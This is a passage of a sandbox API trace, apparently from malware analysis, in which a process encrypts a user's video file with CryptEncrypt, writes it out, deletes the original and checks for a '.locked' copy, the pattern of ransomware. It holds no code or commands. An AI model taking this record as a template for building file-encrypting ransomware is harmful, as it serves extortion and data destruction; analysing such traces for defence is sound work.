[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.095] ReadFile (in: hFile=0x764, lpBuffer=0x698efb4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x698efb4*, lpNumberOfBytesRead=0x99ae7a8*=0xe3d1, lpOverlapped=0x0) returned 1 [0138.095] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69a2fc0*, pdwDataLen=0x99ae79c*=0xe3d0, dwBufLen=0xe3d0 | out: pbData=0x69a2fc0*, pdwDataLen=0x99ae79c*=0xe3d0) returned 1 [0138.095] WriteFile (in: hFile=0x778, lpBuffer=0x698a794*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x698a794*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0138.097] WriteFile (in: hFile=0x778, lpBuffer=0x69a3fac*, nNumberOfBytesToWrite=0xd3e4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69a3fac*, lpNumberOfBytesWritten=0x99ae780*=0xd3e4, lpOverlapped=0x0) returned 1 [0138.098] ReadFile (in: hFile=0x764, lpBuffer=0x698efb4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x698efb4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0138.098] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69b13b4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69b13b4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0138.098] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69b13e8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69b13e8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0138.098] WriteFile (in: hFile=0x778, lpBuffer=0x698a794*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x698a794*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0138.098] CloseHandle (hObject=0x778) returned 1 [0138.100] CloseHandle (hObject=0x764) returned 1 [0138.100] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.100] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.101] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.101] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.101] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.102] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi")) returned 0x20 [0138.103] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.103] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.103] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.104] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.104] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.104] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.104] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.104] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.104] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.104] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.104] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.105] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.105] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.105] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.105] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.105] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.105] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.105] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.105] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.105] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.105] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.105] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.106] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.106] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.106] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.106] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl")) returned 0x10 [0138.106] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl")) returned 0x10 [0138.106] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL", lpFilePart=0x0) returned 0x5b [0138.106] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL", lpFilePart=0x0) returned 0x5b [0138.106] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi")) returned 0x20 [0138.106] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.106] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.107] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0138.107] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.107] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi\\", lpFilePart=0x0) returned 0x72 [0138.107] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0138.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0138.108] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0138.108] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0138.108] CoTaskMemFree (pv=0x8eb8d30) [0138.109] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi")) returned 0x20 [0138.109] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.109] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0138.109] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi"), fInfoLevelId=0x0, lpFileInformation=0x69d3090 | out: lpFileInformation=0x69d3090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cd0340, ftCreationTime.dwHighDateTime=0x1d4a78a, ftLastAccessTime.dwLowDateTime=0x82226de0, ftLastAccessTime.dwHighDateTime=0x1d4a096, ftLastWriteTime.dwLowDateTime=0x82226de0, ftLastWriteTime.dwHighDateTime=0x1d4a096, nFileSizeHigh=0x0, nFileSizeLow=0xe3d1)) returned 1 [0138.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0138.109] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi")) returned 1 [0138.111] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.111] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.111] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.111] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.113] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi.locked")) returned 0x20 [0138.113] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi.locked")) returned 0x20 [0138.113] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", lpFilePart=0x0) returned 0x78 [0138.113] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", lpFilePart=0x0) returned 0x78 [0138.113] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.113] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi", lpFilePart=0x0) returned 0x71 [0138.113] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.113] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.113] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 